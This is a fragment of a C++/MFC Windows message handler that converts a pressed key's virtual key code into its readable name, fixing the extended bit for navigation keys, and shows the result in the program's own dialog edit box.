	UINT scanCode = MapVirtualKeyEx(wParam, 0, GetKeyboardLayout(0));
    switch(wParam)
    {
		// Certain keys end up being mapped to the number pad by the above function,
		// as their virtual key can be generated by the number pad too.
		// If it's one of the known number-pad duplicates, set the extended bit:
		case VK_INSERT:
		case VK_DELETE:
		case VK_HOME:
		case VK_END:
		case VK_NEXT:  // Page down
		case VK_PRIOR: // Page up
		case VK_LEFT:
		case VK_RIGHT:
		case VK_UP:
		case VK_DOWN:
		  scanCode |= 0x100; // Add extended bit
		  break;
    }      

    // GetKeyNameText() expects the scan code to be on the same format as WM_KEYDOWN
    GetKeyNameText(scanCode << 16, str.GetBuffer(80), 80);
    str.ReleaseBuffer();

	CString strItem(L"Keyboard input:" + str + L"\r\n");

	// Add key data into the editing box
	CString strEdit;
	GetDlgItem(IDC_MSG)->GetWindowText(strEdit);
	GetDlgItem(IDC_MSG)->SetWindowText(strItem + strEdit);

	return 0;
}